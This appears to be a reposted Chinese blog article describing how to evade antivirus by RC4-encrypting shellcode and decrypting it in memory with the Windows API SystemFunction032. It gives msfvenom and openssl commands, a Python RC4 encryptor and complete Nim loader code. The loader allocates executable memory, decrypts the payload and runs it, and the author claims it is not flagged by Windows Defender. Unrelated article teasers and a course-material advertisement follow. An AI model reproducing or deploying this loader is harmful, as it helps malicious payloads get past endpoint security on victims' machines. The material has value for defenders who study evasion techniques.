SystemFunction032函数的免杀研究

news2025/8/13 18:43:47

什么是SystemFunction032函数?

虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它,但由于我之前对它的研究并不多,才有了下文。

这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如,ReactOS项目的代码中显示,它需要一个指向RC4_Context结构的指针作为输入,以及一个指向加密密钥的指针。
在这里插入图片描述

不过,目前来看,除了XOR操作,至少我个人还不知道其他的针对内存区域加密/解密的替代函数。但是,你可能在其他研究员的博客中也读到过关于规避内存扫描器的文章,使用简单的XOR操作,攻击者即使是使用了较长的密钥,也会被AV/EDR供应商检测到。

初步想法

虽然RC4算法被认为是不安全的,甚至多年来已经被各个安全厂商研究,但是它为我们提供了一个更好的内存规避的方式。如果我们直接使用AES,可能会更节省OpSec。但是一个简单的单一的Windows API是非常易于使用的。

通常情况下,如果你想在一个进程中执行Shellcode,你需要执行以下步骤。

1、打开一个到进程的句柄

2、在该进程中分配具有RW/RX或RWX权限的内存

3、将Shellcode写入该区域

4、(可选)将权限从RW改为RX,以便执行

5、以线程/APC/回调/其他方式执行Shellcode。

为了避免基于签名的检测,我们可以在执行前对我们的Shellcode进行加密并在运行时解密。

例如,对于AES解密,流程通常是这样的。

1、打开一个到进程的句柄

2、用RW/RX或RWX的权限在该进程中分配内存

3、解密Shellcode,这样我们就可以将shellcode的明文写入内存中

4、将Shellcode写入分配的区域中

5、(可选)把执行的权限从RW改为RX

6、以线程/APC/回调/其他方式执行Shellcode

在这种情况下,Shellcode本身在写入内存时可能会被发现,例如被用户区的钩子程序发现,因为我们需要把指向明文Shellcode的指针传递给WriteProcessMemory或NtWriteVirtualMemory。

XOR的使用可以很好的避免这一点,因为我们还可以在将加密的值写入内存后XOR解密内存区域。简单来讲就像这样。

1、为进程打开一个句柄

2、在该进程中以RW/RX或RWX的权限分配内存

3、将Shellcode写入分配的区域中

4、XOR解密Shellcode的内存区域

5、(可选)把执行的权限从RW改为RX

6、以线程/APC/回调/其他方式执行Shellcode。

但是XOR操作很容易被发现。所以我们尽可能不去使用这种方式。

这里有一个很好的替代方案,我们可以利用SystemFunction032来解密Shellcode,然后将其写入内存中。

【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

生成POC

首先,我们需要生成Shellcode,然后使用OpenSSL对它进行RC4加密。因此,我们可以使用msfvenom来生成。

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin

但后来在调试时发现,SystemFunction032的加密/解密方式与OpenSSL/RC4不同。所以我们不能这样做。

最终修改为

openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin

我们也可以使用下面的Nim代码来获得一个加密的Shellcode blob(仅Windows操作系统)。

import winim
import winim/lean

# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
const encstring = slurp"calc.bin"

func toByteSeq*(str: string): seq[byte] {.inline.} =
  ## Converts a string to the corresponding byte sequence.
  @(str.toOpenArrayByte(0, str.high))

proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS 
  {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}

  
# This is the mentioned RC4 struct
type
    USTRING* = object
        Length*: DWORD
        MaximumLength*: DWORD
        Buffer*: PVOID

var keyString: USTRING
var imgString: USTRING

# Our encryption Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']

keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16

var shellcode = toByteSeq(encstring)
var size  = len(shellcode)


# We need to still get the Shellcode to memory to encrypt it with SystemFunction032
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
echo "Process Handle: ", repr(pHandle)
let rPtr = VirtualAllocEx(
    pHandle,
    NULL,
    cast[SIZE_T](size),
    MEM_COMMIT,
    PAGE_READ_WRITE
)

copyMem(rPtr, addr shellcode[0], size)

# Fill the RC4 struct
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)

# Call SystemFunction032
SystemFunction032(&imgString, &keyString)

copyMem(addr shellcode[0],rPtr ,size)

echo "Writing encrypted shellcode to dec.bin"

writeFile("enc.bin", shellcode)
# enc.bin contains our encrypted Shellcode

之后,又写出了一个简单的Python脚本,用Python脚本简化了加密的过程。

#!/usr/bin/env python3

from typing import Iterator
from base64 import b64encode

#Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
def key_scheduling(key: bytes) -> list:
   sched = [i for i in range(0, 256)]

   i = 0
   for j in range(0, 256):
   	i = (i + sched[j] + key[j % len(key)]) % 256
   	tmp = sched[j]
   	sched[j] = sched[i]
   	sched[i] = tmp

   return sched


def stream_generation(sched: list[int]) -> Iterator[bytes]:
   i, j = 0, 0
   while True:
   	i = (1 + i) % 256
   	j = (sched[i] + j) % 256
   	tmp = sched[j]
   	sched[j] = sched[i]
   	sched[i] = tmp
   	yield sched[(sched[i] + sched[j]) % 256]        


def encrypt(plaintext: bytes, key: bytes) -> bytes:
   sched = key_scheduling(key)
   key_stream = stream_generation(sched)
   
   ciphertext = b''
   for char in plaintext:
   	enc = char ^ next(key_stream)
   	ciphertext += bytes([enc])
   	
   return ciphertext


if __name__ == '__main__':
   # msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
   with open('calc.bin', 'rb') as f:
   	result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa')

   print(b64encode(result).decode())

为了执行这个shellcode,我们可以简单地使用以下Nim代码。

import winim
import winim/lean

# (OPTIONAL) do some Environmental Keying stuff

# Encrypted with the previous code
# Embed the encrypted Shellcode on compile time as string
const encstring = slurp"enc.bin"

func toByteSeq*(str: string): seq[byte] {.inline.} =
  ## Converts a string to the corresponding byte sequence.
  @(str.toOpenArrayByte(0, str.high))

proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS 
  {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}

type
    USTRING* = object
        Length*: DWORD
        MaximumLength*: DWORD
        Buffer*: PVOID

var keyString: USTRING
var imgString: USTRING

# Same Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']

keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16

var shellcode = toByteSeq(encstring)
var size  = len(shellcode)

let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)

let rPtr = VirtualAllocEx(
    pHandle,
    NULL,
    cast[SIZE_T](size),
    MEM_COMMIT,
    PAGE_EXECUTE_READ_WRITE
)

copyMem(rPtr, addr shellcode[0], size)

imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)

# Decrypt memory region with SystemFunction032
SystemFunction032(&imgString, &keyString)

# (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans

# Directly call the Shellcode instead of using a Thread/APC/Callback/whatever

let f = cast[proc(){.nimcall.}](rPtr)
f()

最终效果,至少windows defender不会报毒。

通过使用这个方法,我们几乎可以忽略用户区的钩子程序,因为我们的明文Shellcode从未被传递给任何函数(只有SystemFunction032本身)。当然,所有这些供应商都可以通过钩住Advapi32/SystemFunction032来检测我们。

后记

之后我想到了一个更加完美的想法。通过使用PIC-Code,我们也可以省去我的PoC中所使用的其他Win32函数。因为在编写PIC-Code时,所有的代码都已经被包含在了.text部分,而这个部分通常默认有RX权限,这在很多情况下是已经足够了。所以我们不需要改变内存权限,也不需要把Shellcode写到内存中。

简单来讲是以下这种情况:

1、调用SystemFunction032来解密Shellcode
2、直接调用它

例如,PIC-Code的样本代码可以在这里找到。对于Nim语言来说,之前发布了一个库,它也能让我们相对容易地编写PIC代码,叫做Bitmancer。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/33268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

(附源码)计算机毕业设计JavaJava毕设项目补课管理系统

项目运行 环境配置: Jdk1.8 Tomcat8.5 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: Springboot mybatis Maven Vue 等等组成,B/…

(六)RabbitMQ第二种模型:工作模型(Work Queues)

工作模型(Work Queues)一、轮询发送消息二、消息应答2.1、概念2.2、自动应答2.3、手动应答2.4、消息的重新入队2.5、手动应答代码概念:工作队列(又称任务队列)的主要思想是避免立即执行资源密集型任务,而不得不等待它完成。 相反我…

为什么说 Windows 10 不会被 DDoS SSDP反射攻击利用

为什么说 Windows 10 不会被 DDoS SSDP反射攻击利用一段来自陌生人的对话我所在网络拓扑图一、SSDP 协议极简介绍二、模拟查找 SSDP 设备2.1 Linux 发现 SSDP 服务2.2 Windows 发现 SSDP 服务三、Windows 10 VS Windows 7 数据包四、回答先前的问题回答 1:Windows 1…

前后端分离项目,vue+uni-app+php+mysql订座预约小程序系统设计与实现

功能介绍 【后台功能】 广告管理:设置小程序首页轮播图广告和链接 留言列表:所有用户留言信息列表,支持删除 会员列表:查看所有注册会员信息,支持删除 录入资讯:录入资讯标题、内容等信息 管理资讯&#x…

证书格式说明

证书格式说明 参考: 证书格式说明SSL中,公钥、私钥、证书的后缀名都是些啥? PEM 参考: Pem格式 Privacy-Enhanced Mail (PEM)是存储、传输密码学的密钥、公开密钥证书和其他数据的文件格式的业界标准。 许多加密标准使用ASN.1…

几行 Python 代码就可以提取数百个时间序列特征

以下所有内容均来自python绿色通道订阅号,个人整理主要为了个人方便查看,希望也可以对各位有所帮助 时间序列数据是随着时间的推移反复捕获的变量值,随着时间的推移可以产生一系列的按时间顺序索引的数据点。在时间序列中,数据具…

dp入门(二)

目录 45、跳跃计划 53、最大子数组和 55、跳跃游戏 62、不同路径 63、不同路径2 64、最小路径和 70、爬楼梯 72、编辑距离 84、柱形图中最大的矩形 85、最大矩形 4721、排队 45、跳跃计划 当前可移动距离尽可能多走,如果还没到终点,步数再加一。整体…

Spring Boot 入门

37) Boot 骨架项目 https://start.spring.io/pom.xml 38) Boot War项目 步骤1:创建模块,区别在于打包方式选择 war 步骤2:编写控制器 Controller public class MyController { ​RequestMapping("/hello")public String abc() …

南京溧水农民丰收节 国稻种芯·中国水稻节:江苏味稻文化

南京溧水农民丰收节 国稻种芯中国水稻节:江苏味稻文化 (融媒体记者 诸婧雯)新闻中国采编网 中国新闻采编网 谋定研究中国智库网 国稻种芯中国水稻节 中国三农智库网-功能性农业农业大健康大会报道:由溧水区政府、市农业农村局主办…

MCE | Hippo 途径与靶向策略

在 PubMed 输入了“Hippo pathway or YAP/TAZ”,小编发现近十年来与 Hippo 通路沾点边的研究势头猛烈,且发的文章不少都“非富即贵”,如发表在 Nature Cell Biology 上的两篇关于 YAP (TAZ) 相变的文章 (两篇结论相反的文章,还能双…

红黑树C++实现

目录 一、红黑树的概念 二、红黑树的性质 三、红黑树节点的定义 四、红黑树的插入 4.1 插入节点 4.2 插入节点的颜色 4.3 调整情况1 4.4 调整情况2 4.5 调整情况3 4.6 调整情况总结 五、调整的实现 5.1 调整的步骤分析 5.2 代码实现 六、树的平衡判断 七、源代码…

微信小程序制作要多少钱?【制作小程序】

关于微信小程序制作要多少钱的问题,是很多企业商家在制作小程序之前需要了解的事项,因为总是听说制作小程序的费用有高有低,而他们又对这方面不太了解,所以也还是需要了解微信小程序制作要多少钱的。那么微信小程序制作要多少钱呢…

RocketMQ中生产者发消息前为啥一定要调用start()方法?

前言 我们在使用RocketMQ发送消息时,一般都会使用DefaultMQProducer,类型的代码如下: DefaultMQProducer producer new DefaultMQProducer("producer_group"); producer.setNamesrvAddr("42.192.50.8:9876"); try {pr…

Chrome 103支持使用本地字体,纯前端导出PDF优化

在前端导出PDF,解决中文乱码一直是一个头疼的问题。要解决这个问题,需要将ttf等字体文件内容注册到页面PDF生成器中。但是之前网页是没有权限直接获取客户机器字体文件,这时就需要从服务器下载字体文件或者提示用户选择字体文件上传到页面。对…

链接杂谈 CASPP

构建大型程序 构建大型程序,不可避免的一个问题是链接问题: - 链接器提示:缺少某个模块 缺少某个库 不兼容的库版本 理解全局变量的链接 你的代码可能有多个全局变量,有些是强变量,有些是弱定义,执行…

清除浮动的常用方法

关于浮动 我们为什么需要浮动? 我们想把多个块级元素放到同一行上。 打破标准流的限制。 浮动原来做图文混排效果,现在主要用来做网页布局的。 浮动语法 只有左浮动和右浮动。 float: left; float: right;浮动特点 1.浮动元素会脱离标准流&#x…

Win10禁止应用独占麦克风

痛点需求: qq和微信同时发起语音通话,发现只有一个qq说话对方能听到,但是微信却不能,这是典型的应用程序独占了麦克风,导致其他应用无法使用。 有没有办法让qq和微信同时使用麦克风呢? 答案是:有…

图的拓扑序列

拓扑序列: 拓扑序是按照点的先后顺序排列的。拓扑序列满足以下两点: 1.每个顶点在序列中出现且只出现一次。 2.若存在一条从顶点 A 到顶点 B 的路径,那么在序列中顶点 A 出现在顶点 B 的前面。 拓扑序列只存在于有向无环图中。可以理解成…

MCE | 肝炎病毒是如何诱发肝癌的

肝炎病毒分类 肝炎病毒是世界上最常见的肝炎病因,其它原因包括酗酒、某些药物、毒素、其他感染、自身免疫性疾病和非酒精性脂肪性肝炎 (NASH)。肝炎病毒共有五种主要的肝炎病毒株,分别为 A、B、C、D 和 E 型。目前,全世界大约有 3.25 亿人患…

2023中国绿色铝业国际峰会

会议背景 铝行业属于能源高度密集型行业,主要包括铝矿石开采、氧化铝生产、电解铝生产和铝材加工等环节。我国原铝产量自2001年以来一直占据世界首位,连续7年产量占比超过全球50%。然而与国际先进铝生产企业相比,我国铝生产企业单位原铝碳…